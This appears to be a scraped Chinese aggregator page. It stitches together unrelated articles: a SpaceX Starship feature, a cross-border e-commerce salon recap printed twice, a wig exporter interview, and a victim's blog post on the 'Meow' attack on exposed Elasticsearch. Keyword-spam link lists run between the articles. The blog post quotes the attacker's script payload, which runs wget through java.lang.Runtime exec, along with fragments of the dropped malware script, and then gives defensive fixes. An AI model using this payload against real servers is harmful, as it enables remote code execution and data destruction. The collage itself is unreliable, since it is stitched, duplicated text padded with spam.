　　虽然 Starship 宇宙飞船承载无数人的星际飞行梦想，但这个露天的工厂像是一个巨大的加工作坊：零件散落一地，工作人员来来往往，时不时再进行一个测试，再以爆炸告终。

　　开放的空间让众多 SpaceX 爱好者有了一睹 Starship 真容的机会，甚至猛禽发动机——这个地球上性能最顶尖的液氧甲烷发动机——也能在路上悠闲地"逛街"。

　　时间长了，甚至有关注航天的媒体网站已经架设了长期的机位，在一些原型机组装或测试的过程中，他们常常开启动辄 5、6 个小时的视频直播。这也就让测试爆炸的画面常常能被多个角度捕捉和传播。

　　SpaceX 和这些外来的摄像机已经达成了很好的默契，一边静静地做组装和测试工作，另一边就静静地在一旁长期蹲守。

　　那些在 Youtube 上更新的一个个视频，像为全世界的观众留下了一个窗口，当你想看这个工厂最新近况时，总能在视频网站上找到新鲜的画面，里面甚至配上了尽可能详细的讲解。

　　最新的视频显示，在 SN5 还未进行飞行测试的时候，后面的飞船兄弟已经就位，部分零部件已经进场，排队准备组装工作。

图 | SN8 正在建设中

　　根据目前的计划，这两支在建的飞船被赋予的使命就不再只是进行 150 米高度的"跳跃"，下一步就是进行高度达到 20 公里的亚轨道飞行。为此，SpaceX 也已经为其备好了飞行所需的三台猛禽发动机。

　　这意味着，在一年前看起来还是天马行空的想法的宇宙飞船，已经接近航天发射的关键节点：入轨发射。

　　从前期不断爆炸，甚至有人开始质疑 Starship 在设计上是否可行；到今天成功起飞迈出关键一步，SpaceX 在这个承载着马斯克最终梦想的项目上，"在每次更新中进行一点改进"的思路还在继续着。

　　就像早期猎鹰火箭前三次发射全部以爆炸告终，在那之后，SpaceX 就越走越顺，如今猎鹰 9 号成为这个时代火箭市场上最成功的产品。Starship 在趟过了前期的坑后能不能加速前进？现在下这样的结论肯定还是过于乐观，但鼓舞人的地方在于，它总能给人希望。

　　就像 NASA 局长布里登斯坦所言，"SpaceX 非常善于飞行、测试、经历失败以及修复问题。"这让 NASA 并不能忽视 Starship 的潜力。

　　马斯克的终极野心：量产飞船

　　在 Starlink 计划和载人发射任务飞速进行的同时，Starship 的建设也在悄然加速当中。

　　事实上，从 2019 年 4 月到 11 月，SpaceX 在的工程师和技术人员花了 8 个月时间，才建造出第一艘原型机 MK1。但在那之后，SpaceX 用了一个月时间组装出了新一代原型机 SN1，而在仅仅两周之后，另一台 SN2 就已经出现在场地内。

　　后来马斯克在回忆起这件事时表示，"MK1 的问题在于我没有集中注意力，因为我还在处理特斯拉的很多事情。"在将注意力移回到 SpaceX 之后，马斯克认为，进展不顺的关键在于他们还没有建立一条宇宙飞船的生产线。

　　今年 2 月下旬一个周末的凌晨，马斯克突然在得州工厂召开全员会议，宣布将要加速推进 Starship 的制造工作。会后不到 48 小时，SpaceX 位于得州的工厂完成了 252 人的招聘工作，建设工作陡然加速。

　　马斯克说，如果你只是想造出一件东西，那可以由工程团队来完成。但如果数量更多的时候，就必须造出制造机器的机器。这也就是他所说的飞船产线。

图 | SN5 发射前

　　事实上，特斯拉的量产经历让马斯克获得了不少扩大产线的经验，他将特斯拉产能爬坡时的经验也放到 Starship 生产线的建设当中。通过挑战工作安排，SpaceX 的得州工厂开始了 7x24 小时满负荷运转。

　　要让这样一个超大型飞行器脱离地球引力、进入轨道、在火星着陆，然后返回地球，马斯克当然知道这不是一蹴而就的事情。在很长时间里，马斯克都相信，实现这一目标的唯一现实方法是通过反复试验，不断接近正确的设计。

　　"提升产量会解决许多问题，"马斯克说，"如果生产率高，产品迭代率就高。几乎所有的技术进展都取决于迭代次数，以及每次迭代之间所取得的进展。只有生产能力足够强，SpaceX 才能完成更多的迭代，同时在迭代中不断进步。"

　　他表示，目前 SpaceX 正试图打造一支庞大的舰队，让火星适合居住，使生命遍布多个行星。要实现这一目标，SpaceX 大概需要造出 1000 艘飞船，每艘飞船的有效载荷甚至比土星五号更大，更重要的是可以重复使用。

　　SpaceX 的目标是实现每周建造一到两艘星际飞船，并将建造成本削减至 500 万美元。

惊天一跃！马斯克宇宙飞船首次起飞，火星移民梦想更近一步SpaceX跨境电商真人秀《我是传奇》预告片、 沃尔码、 巨鲸、 双11后第一批买家秀曝光，差点笑出腹肌，一定要忍住，哈哈哈哈哈哈、 利润提升25%：揭秘亚马逊"动态定价体系、 WishPost线上发货订单结算方式突变 / 160亿美元关税今日生效、 南非游8月份报价、 新西兰旅游跟团多少钱、 新西兰旅游跟团多少钱、

雨果网观察员の粉丝见面会回顾：「A-Lu跨境」畅聊传统外贸转型的阵痛和方法

7月31日，适逢2020年CCEE（深圳）跨境电商选品大会召开之际，一系列线下沙龙活动也在分会场如约展开。

随着越来越多的传统外贸企业转型、涉足跨境电商，不少问题也随着显露出来——传统外贸模式上与跨境电商的差异，转型后的企业一时无法适应；老板缺少互联网思维，将传统线下的商业逻辑直接运用到跨境电商运营之中；缺少专业的跨境电商人才，转型企业面临"用工荒"的窘境。

当日，雨果观察员「A-Lu跨境」应邀出席"对话观察员，大咖面对面"跨境卖家线下沙龙活动，并以"传统外贸转型跨境电商"为主题、"破局"为关键词做了分享。希望通过这些经验的分析，为转型路上的传统企业卖家提供一些建议和参考。

嘉宾简介

「A-Lu跨境」：深耕跨境进出口行业十来年，从最早的SEO独立站群业务，到跨境进口业务再到跨境出口业务都有过丰富经历，目前为一家品牌公司的副总，对跨境行业的渊源变迁和商业核心有颇深的心得体会（以下简称A-Lu）。

"所有的外贸企业转型，一个核心的需求点就在于破局。"A-Lu表示，"破局"即外贸企业希望能够在外贸以外的领域可以得到一个快速的发展，或者说是打破它原来只做外贸业务的这么一个瓶颈。而在外贸企业寻求破局这个动作中，跨境电商其实是一个比较好的机会和优势。

传统外贸 VS 跨境电商

A-Lu对传统外贸业务和跨境电商业务做出了以下关键词归类：

他还就以上关键词，结合自身经验及实际案例，对两个行业的利弊及异同做了精彩专业的解读。

剖析5个转型难题，助力转型卖家

此外，A-Lu把外贸企业转型跨境电商中可能遇到的难题归结为以下五种症结和表现：

1）不懂模式

处在转型第一阶段的卖家，在做to B和to C转型的时候，往往既不知道如何落地，也不知道该从何做起。因此，A-Lu表示，这个时候最需要做的是沉下心来，转换思维，去了解to C业务涉及的终端消费者和市场调研，不论是通过组建团队，还是自己去学习，学习究竟应该怎么样去运营C端业务。

2）懂模式却不精

在A-Lu看来，"懂模式却不精"指的是当你自以为学会了"模式"，却在上手后失败的原因，就是"不精"。

他表示，精的逻辑在于，所有的模式，当你懂了之后，是否可以找到突破点？简而言之就是跟你的竞争对手打差异化。如果你找得到突破点，可以说你做的相对来说还是比较精的，如果你没有这个突破点，你其实只能算是所有的一般卖家里平平无奇的一个。如此一来，你们之间的竞争更多的依赖于运气。出的来的话就是运气好，出不来的话属于正常。所以，如果懂模式却不精的话，也是很难把这个业务做起来的。

3）精模式却不活

A-Lu称："'不活'的意思是你在'懂'和'精'的基础上，虽然短期内能够使你的业务快速发展，但在某个节点上，当你遇到这样那样的问题的时候，你是会坚守着之前的思路和模式，还是做一些灵活的转换。"

这其实是个巨大的考验，因为在此之前你已经学习了很多模式、有了比较丰富的经历，你的思维在一定程度上已经固化，这时候你很难会考虑去做变通，而是拘泥或停留在原来的模式上，做一些无谓的努力和挣扎。但他指出，你之前的模式之所以成功，是因为你原来的模式是适应当时的市场环境，但却跟现在的市场环境不匹配，所以在这个时候，如果你不去灵活地改变你的模式，最终的结果依然是：即使你的业务之前发展的很好，但是之后也会走下坡路。

4）活业务不活管理

A-Lu表示，如果你做好了前面三个模块之后，可以称之为"你的业务做的很棒"，但这不代表你的企业可以达到一个很高的发展速度，而这个发展速度其实源于"管理"。从长期的业务产出来看，每个企业都追求"人效"，但如果你想要1+1=10的话，就需要发挥管理的作用。因为管理是能够极大提升公司效率的核心，不仅是提高你业务的部门内部的工作效率，还提升了你跨部门、跨公司之间的工作效率，在整个的业务流上面形成了非常大的作用，所以这时候公司能否对全体员工做一个系统化的、高效的管理，这个动作就非常重要。

5）企业与员工长存

业务能否常青的发展下去，取决于两点：1）公司的流程是否已经非常系统化、定位明确；2）你的核心团队是否可以陪着你继续走下去。如果说核心团队人员跟企业的利益点是不同的，虽然最终你把一切做的很好，但是有几个核心人员离开了，必然会对你的企业的发展速度，或者整个业务方向造成一定的影响，甚至他们可能最终会变成你的职业竞争对手。但是如果你把他们留下来了之后，那你的企业是可以跟员工长存的，有共同的利益点，有共同的发展趋势，并且可以让你的企业的业绩可以得到持续地发展。

转型的核心：产品和创新

A-Lu对产品和创新是这样解释的：首先，研发产品不是"自嗨"，而是你需要结合消费者的需求和业务目标去反推，推断出你需要这么多的产品去支撑你的业务体量，或者说产品迭代的测试，让你的业务可以更高速，持续的发展，然后去让这些产品可以让更多消费者接受，不管是老品还是新品。其中，产品的研发必然离不开创新。

此外，他还谈到了管理上的创新，"你的企业在有50个人的时候，你到底是怎么管理的，有100个人的时候怎么管理，在有1000个人的时候，你的管理其实都是不一样的，而在你不同的业务阶段和人员规模的情况下，对于管理上的创新其实是非常重要而且必要的，"他说，"如果你拿50人当时的管理模式去管理200人的话，最终会形成的结果是你让这个200人最终的人效就变成了50人，这时候一加一不是等于二，而是等于没有。"

那究竟，还能转型吗？

"当然，但得提前想清楚，考虑清楚，并有详细的计划，否则大概率下会变成'燃烧自己成就别人'。"A-Lu说。

（来源：雨果情报君）

雨果网观察员の粉丝见面会回顾：「A-Lu跨境」畅聊传统外贸转型的阵痛和方法Amazon的vender浅谈、 客户服务进阶、 电霸、 如何选择Shopify模板-34项提高转化率的促单功能详解、 亚马逊卖家后台又更新了，"姐夫"果然野心不小！、 提醒！海关总署延长汇总征税、滞纳金、滞报金缴款期限、 哈尔滨跟团还是自由行、 深圳到哈尔滨旅游报价、 深圳到哈尔滨旅游报价、

Meow 攻击删除不安全的Elasticsearch（及MongoDB） 索引，建一堆以Meow结尾的奇奇怪怪的索引（如：m3egspncll

Meow攻击 删除 不安全的 Elasticsearch 和 MongoDB数据库

 

07月29日，早上一来，照例先连接Elasticsearch查看日志【禁止转载，by @CoderBaby】，结果，咦，什么情况，相关索引被删除了（当天正在写入数据的索引，不能被删除），产生了一堆以Meow结尾的奇奇怪怪的索引，如下图：

 

一阵紧张、懵逼，赶紧查看日志，发现如下问题：系统在远程连接并下载执行一个脚本，如下（慌张）：

[2020-07-28T14:02:02,540][DEBUG][o.e.a.s.TransportSearchAction] [m3egspncll-meow][0], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=38, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=5, batchedReduceSize=512, preFilterShardSize=128, source={ "size" : 1, "script_fields" : { "lupin" : {  "script" : {  "source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget -P /tmp/sssooo\").getText()",  "lang" : "painless"  },  "ignore_failure" : false } }}}] lastShard [true]

 查看整个脚本，可以看到，里面在修改防火墙配置、串改系统安全加固、设置watchdog等等（害怕），脚本部分相关代码如下（脚本可到：）：

 chmod 777 /tmp/networkservice chattr +i /tmp/networkservice chmod 777 /tmp/sysguard chattr +i /tmp/sysguardiptables -A OUTPUT -p tcp --dport 5555 -j DROPiptables -A OUTPUT -p tcp --dport 7777 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -I INPUT -s 43.245.222.57 -j DROPservice iptables reload

然后一通google，发现腾讯安全团队和国外一个安全的哥们已发现此问题，如下（截止7月24日，他们发现已经有1779个Elasticsearch和MongoDB受到攻击）：

可以去作者Twitter账号（梯子请自备  https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F）关注Meow攻击的后续进展，截止笔者发稿（8月5日），还有最新的进展：

【后续进展】

7月27号，攻击者会让受害者转到一个支付链接：

7月28号，有更多的受害者的数据被删除：

【问题原因】

Elasticsearch默认会对外开放9200端口，便于远程通过插件（如Elasticsearch-head）访问和管理。连接到服务器端口的任何个人和组织，就可以通过调用相应的API进行增删改查。

【解决方案】

（1）开启防火墙（service iptables start），或者关闭9200端口（iptables -A INPUT -p tcp --dport 9200 -j DROP），如需开放9200端口，建议在安全组限制只允许指定IP才能访问

（2）在config/elasticsearch.yml中为9200端口设置认证，相关配置参数可参考:

http.basic.enabled true #启动认证，开启会接管全部HTTP连接http.basic.user "admin" #配置认证账号http.basic.password "admin_pw" #配置认证密码http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名单

（3）使用Nginx搭建反向代理，通过配置Nginx实现对Elasticsearch的认证

 

后记：

还好本人受攻击的只是测试服务器上的实验数据，后面果断公司卖出的服务器相关Elasticsearch开放端口全部关闭

*******************************************************************************

精力有限，想法太多，专注做好一件事就行

• 我只是一个程序猿。5年内把代码写好，技术博客字字推敲，坚持零拷贝和原创
• 写博客的意义在于打磨文笔，训练逻辑条理性，加深对知识的系统性理解；如果恰好又对别人有点帮助，那真是一件令人开心的事

*******************************************************************************

Meow 攻击删除不安全的Elasticsearch（及MongoDB） 索引，建一堆以Meow结尾的奇奇怪怪的索引（如：m3egspncllshopyy、 知无不言、 白色清关、 亚马逊SEO和PPC有何区别？如何通过SEO增强PPC效果，暴增流量？、 玩转站内促销广告、 Authenticator、 金沙湾在哪里？金沙湾好玩吗？、 西冲登快艇去情人岛来回是多少钱？、 夏天旅游穿什么鞋？、

CCEE线下沙龙回顾：亲历传统外贸转型跨境电商，他直言这5个转型阵痛和方法

7月31日，适逢2020年CCEE（深圳）跨境电商选品大会召开之际，一系列线下沙龙活动也在分会场如约展开。

随着越来越多的传统外贸企业转型、涉足跨境电商，不少问题也随着显露出来——传统外贸模式上与跨境电商的差异，转型后的企业一时无法适应；老板缺少互联网思维，将传统线下的商业逻辑直接运用到跨境电商运营之中；缺少专业的跨境电商人才，转型企业面临"用工荒"的窘境。

当日，雨果观察员「A-Lu跨境」应邀出席"对话观察员，大咖面对面"跨境卖家线下沙龙活动，并以"传统外贸转型跨境电商"为主题、"破局"为关键词做了分享。希望通过这些经验的分析，为转型路上的传统企业卖家提供一些建议和参考。

嘉宾简介

「A-Lu跨境」：深耕跨境进出口行业十来年，从最早的SEO独立站群业务，到跨境进口业务再到跨境出口业务都有过丰富经历，目前为一家品牌公司的副总，对跨境行业的渊源变迁和商业核心有颇深的心得体会（以下简称A-Lu）。

"所有的外贸企业转型，一个核心的需求点就在于破局。"A-Lu表示，"破局"即外贸企业希望能够在外贸以外的领域可以得到一个快速的发展，或者说是打破它原来只做外贸业务的这么一个瓶颈。而在外贸企业寻求破局这个动作中，跨境电商其实是一个比较好的机会和优势。

传统外贸 VS 跨境电商

A-Lu对传统外贸业务和跨境电商业务做出了以下关键词归类：

他还就以上关键词，结合自身经验及实际案例，对两个行业的利弊及异同做了精彩专业的解读。

剖析5个转型难题，助力转型卖家

此外，A-Lu把外贸企业转型跨境电商中可能遇到的难题归结为以下五种症结和表现：

1）不懂模式

处在转型第一阶段的卖家，在做to B和to C转型的时候，往往既不知道如何落地，也不知道该从何做起。因此，A-Lu表示，这个时候最需要做的是沉下心来，转换思维，去了解to C业务涉及的终端消费者和市场调研，不论是通过组建团队，还是自己去学习，学习究竟应该怎么样去运营C端业务。

2）懂模式却不精

在A-Lu看来，"懂模式却不精"指的是当你自以为学会了"模式"，却在上手后失败的原因，就是"不精"。

他表示，精的逻辑在于，所有的模式，当你懂了之后，是否可以找到突破点？简而言之就是跟你的竞争对手打差异化。如果你找得到突破点，可以说你做的相对来说还是比较精的，如果你没有这个突破点，你其实只能算是所有的一般卖家里平平无奇的一个。如此一来，你们之间的竞争更多的依赖于运气。出的来的话就是运气好，出不来的话属于正常。所以，如果懂模式却不精的话，也是很难把这个业务做起来的。

3）精模式却不活

A-Lu称："'不活'的意思是你在'懂'和'精'的基础上，虽然短期内能够使你的业务快速发展，但在某个节点上，当你遇到这样那样的问题的时候，你是会坚守着之前的思路和模式，还是做一些灵活的转换。"

这其实是个巨大的考验，因为在此之前你已经学习了很多模式、有了比较丰富的经历，你的思维在一定程度上已经固化，这时候你很难会考虑去做变通，而是拘泥或停留在原来的模式上，做一些无谓的努力和挣扎。但他指出，你之前的模式之所以成功，是因为你原来的模式是适应当时的市场环境，但却跟现在的市场环境不匹配，所以在这个时候，如果你不去灵活地改变你的模式，最终的结果依然是：即使你的业务之前发展的很好，但是之后也会走下坡路。

4）活业务不活管理

A-Lu表示，如果你做好了前面三个模块之后，可以称之为"你的业务做的很棒"，但这不代表你的企业可以达到一个很高的发展速度，而这个发展速度其实源于"管理"。从长期的业务产出来看，每个企业都追求"人效"，但如果你想要1+1=10的话，就需要发挥管理的作用。因为管理是能够极大提升公司效率的核心，不仅是提高你业务的部门内部的工作效率，还提升了你跨部门、跨公司之间的工作效率，在整个的业务流上面形成了非常大的作用，所以这时候公司能否对全体员工做一个系统化的、高效的管理，这个动作就非常重要。

5）企业与员工长存

业务能否常青的发展下去，取决于两点：1）公司的流程是否已经非常系统化、定位明确；2）你的核心团队是否可以陪着你继续走下去。如果说核心团队人员跟企业的利益点是不同的，虽然最终你把一切做的很好，但是有几个核心人员离开了，必然会对你的企业的发展速度，或者整个业务方向造成一定的影响，甚至他们可能最终会变成你的职业竞争对手。但是如果你把他们留下来了之后，那你的企业是可以跟员工长存的，有共同的利益点，有共同的发展趋势，并且可以让你的企业的业绩可以得到持续地发展。

转型的核心：产品和创新

A-Lu对产品和创新是这样解释的：首先，研发产品不是"自嗨"，而是你需要结合消费者的需求和业务目标去反推，推断出你需要这么多的产品去支撑你的业务体量，或者说产品迭代的测试，让你的业务可以更高速，持续的发展，然后去让这些产品可以让更多消费者接受，不管是老品还是新品。其中，产品的研发必然离不开创新。

此外，他还谈到了管理上的创新，"你的企业在有50个人的时候，你到底是怎么管理的，有100个人的时候怎么管理，在有1000个人的时候，你的管理其实都是不一样的，而在你不同的业务阶段和人员规模的情况下，对于管理上的创新其实是非常重要而且必要的，"他说，"如果你拿50人当时的管理模式去管理200人的话，最终会形成的结果是你让这个200人最终的人效就变成了50人，这时候一加一不是等于二，而是等于没有。"

那究竟，还能转型吗？

"当然，但得提前想清楚，考虑清楚，并有详细的计划，否则大概率下会变成'燃烧自己成就别人'。"A-Lu说。

（来源：雨果情报君）

CCEE线下沙龙回顾：亲历传统外贸转型跨境电商，他直言这5个转型阵痛和方法2017年会员大会暨惠州跨境电商交流会、 汇通天下物流、 夸克、 突发！美国亚马逊仓库又双叒叕着火了，遭遇断货的卖家怎么办？、 2019年鞋行业在速卖通的4大发展趋势、 收藏：跨境电商卖家选品三部曲！、 哈尔滨旅游大约多少钱、 哈尔滨旅游大约多少钱、 哈尔滨旅游团报价、

2020年或是一次分水岭，这位速卖通假发卖家说未来要布局线下直营店

在跨境出口爆品清单当中，假发毫无疑问也占据一席之地。在速卖通上平均2秒钟就售出一顶的假发也没能逃过疫情的重击。跨境假发巨头之一的瑞贝卡在今年第一季度营收对比去年同期的4.56亿元下降了42.39%。

而代表着许昌产业带的众多假发出口企业，是否也有同样的境遇？如果说2015年是假发行业、尤其是传统外贸假发工厂转型跨境，打造品牌出海的分水岭，那么2020年是否又是一个分水岭？

2015年乘风破浪出国门的假发品牌同遭受疫情打击

2015年，由许昌开始，一大批中国假发企业乘风破浪走出国门，被海外消费者所熟知。同期出海代表如瑞贝卡、Unice等，河南奥蕴实业有限公司（以下简称"奥蕴"）也是这"浪潮中的一朵浪花"。

成立于1996年的奥蕴，是赶上第一波假发电商出口大潮的工厂，最初给各个电商企业做供应链，供应发条、发块、卡子发、头套及各种染色产品。2015年开始与速卖通合作，组建自己的跨境电商团队，从最开始的6个人发展到现在50多人的电商团队，先后创立了"beaudiva、 sapphire、 allruna、 beauhair "等品牌，产品销往100多个国家，主要集中在美国、欧洲和非洲等国家和地区。截至2018年，奥蕴在跨境电商板块的业务已占全部销售额超40%。但不同于瑞贝卡、Unice等主打高端品牌路线的假发企业，奥蕴对于自身的定位更倾向于大众化且性价比高、客户体验度强的产品。

尽管是一家拥有24年经验的"老工厂"，在这次疫情中也难免遭受打击。奥蕴总经理申大垒告诉，受疫情影响，假发整体销量下滑了40%左右，且主要集中在非洲。他指出，"由于非洲地区疫情较为严重，当地的防疫措施相对较差，导致我们非洲的业务基本上处于停滞状态；而美国地区则由于当地线下门店大量关闭，促进了线上购买，销量反而上涨了50%；欧洲地区由于是速卖通今年的重点推广区域，尤其是法国，因此销量可能还比美国好一些。"

在整体需求下降的情况下，很多企业都开始拓展新的流量渠道，从高效推广的方向着手，提升转化率和培养长期客户，例如利用社交媒体，网络主播带货等手段提升曝光和转化。申大垒说道，"我们的销售模式相对来说较为单一，基本上线上线下都有，但是量没有那么大。所以我们将重点放在修炼基本功，比如网络销售的部分，扩大在Facebook、Instagram等社交媒体以及阿里平台的直播推广，甚至从员工里面挑选，培养成主播。"

与其他企业直接通过社交媒体平台寻找外国人主播不同的是，奥蕴选择自己找第三方学习机构或邀请培训人员到公司授课的方式，将员工打造成主播。而长相倾向于欧美范、较强的英文交流能力、活泼欢快则是他们筛选的条件。当被问及为什么不直接找外国人，他则回答说，"老外整天看老外也会腻，我们也在想是否可以做些差异化，先从中国人开始做起。"

十几年外贸老工厂的跨境转型心得

对于一家做了十几年B2B的工厂来说，奥蕴从单一的供应链厂商到中国假发出口品牌厂商的快速转型之路也并非易事。如今40岁的申大垒从事发制品行业已有20年。他表示，即使在五年前，他们公司100%都还是做国外的假发代加工，没有自己的品牌。

但是2015年却像是一道分水岭。他发现周边的同行很多后起之秀借助速卖通、亚马逊等跨境平台风生水起。而看着自己不到5%的贴牌利润，拥有产品生产优势的他，也想着试一试。

可试了之后才知道，原来跨境电商比想象中的要复杂很多。第一，成品库存增加；第二，需要自己设计产品包装、品牌；第三，跟踪售后，提高用户体验。这些都不同于以往的传统外贸工厂。在这其中的备货方面，奥蕴就走了弯路。

"我们刚入这个行业，对产品的备货量摸索得不够，就产生爆款备货不足影响销售；滞销品备货过多，库存冗余。后面，我们就购买一些管理库存的ERP软件，通过软件设置不同的参数，提高对库存的把握精准度"申大垒说道。

除产品备货方面，在物流上传统的B2B跟跨境的B2C也截然不同，从海运转变到快件小包。他表示，传统的B2B都是大宗货，直接找货代，按照双方约定的货期装车，再由货代装船或空运拉走即可。但B2C的则需要两步走：一方面从自己工厂内部的仓库发货，走国际快递小包；另一方面，针对不同的市场，把货物按照销售计划发往海外仓，再由当地的海外仓发货给客户。原先每周发一次货，客户需要3—6个月才能收到订单；现在几乎每天都要发，但客户3—6天就能收到包裹，直接提升了客户体验。

与此同时，海外仓的布局也帮助他们提升了销量。从2017年的不足2000万元，2018年布局海外仓之后，销量增速涨到200%。

生产模式天差地别。过去工厂的生产模式是由合作的批发商、零售商提供样品，工厂来样加工，产品研发受到局限。现在更多的则是，通过平台上提供的大数据分析和个性化算法等先进技术，帮助工厂更精准掌握海外假发消费者的画像和需求，并把这些数据结果开放给工厂，帮助工厂更精准地研发、设计和生产，从而实现 made in Internet，帮中国假发所代表的中国制造向中国质造转变。

2020年是又一次分水岭，假发行业将回溯到线下O2O

"随着跨境电商的发展，传统外贸的势头可能会越来越弱。即使现在奥蕴是传统外贸和跨境电商两步走，但是未来传统外贸也可能会走下坡路，发展劲头不像以往那么强。单从假发行业来说，不管是物流还是货物本身，都具备做跨境电商的特征。对于有自己品牌的假发商家来说，国内市场已经做得得心应手，而跨境市场仍在不断发展，提早进入国外市场，对打响品牌会起到更好的积极作用"申大垒认为。

尤其当下，假发产品开发越来越多样化。随着跨境电商的快速增长，假发的开发会因为有些商家进入到终端市场，这些企业会通过线下的O2O体验店，把对终端市场的了解，将设计开发引回国内。从潮流趋势这方面来讲，把握得也会更精准。

目前奥蕴与线下的批发商客户仍在合作，他们也通过批发商的一线销售来获取海外市场当地的情况，更精准的分析到市场客户需求，更有利于他们在产品的把握上更具灵活度。

申大垒表示，2015年是他们从贴牌转向品牌的分水岭，今年对于跨境电商来说也是一个很重要的分水岭。由于疫情的出现，很多小的跨境电商公司因自身实力问题或产品丰富度不够没能抗住打击。但是像工厂型或者实力比较强的企业，扛过疫情之后发展会越来越好，跨境电商也会越来越规范化。

因此，倘若疫情好转，奥蕴将重新再投入人力、物力在终端市场，做自己的线下直营店，跟线上对接，做好客户的体验。在申大垒看来，做跨境电商能够跟终端客户有零距离的接触，让他们的信息能够第一时间反馈到公司里，肯定需要有一个或者若干个体验店，跟终端客户做近距离的接触，单纯的线上销售远远还不够。

小贴士丨与更多行业大卖家交流，备战速卖通2020年"双11"，可点击【我要参会】免费报名参加8月18-19日CCEE（上海展）。更多旺季打法运营攻略，也可关注【现场直播】。

（文/ 吴桂真）

2020年或是一次分水岭，这位速卖通假发卖家说未来要布局线下直营店prime day、 品类管理、 知识产权之专利篇、 wish平台基础操作系列课程、 超全超详细！Lazada物流发货及订单管理！、 跨境人必读：细数那些能减免关税的原产地证书！、 哈尔滨特价旅游团报价、 哈尔滨特价旅游团报价、 哈尔滨旅游大约多少钱、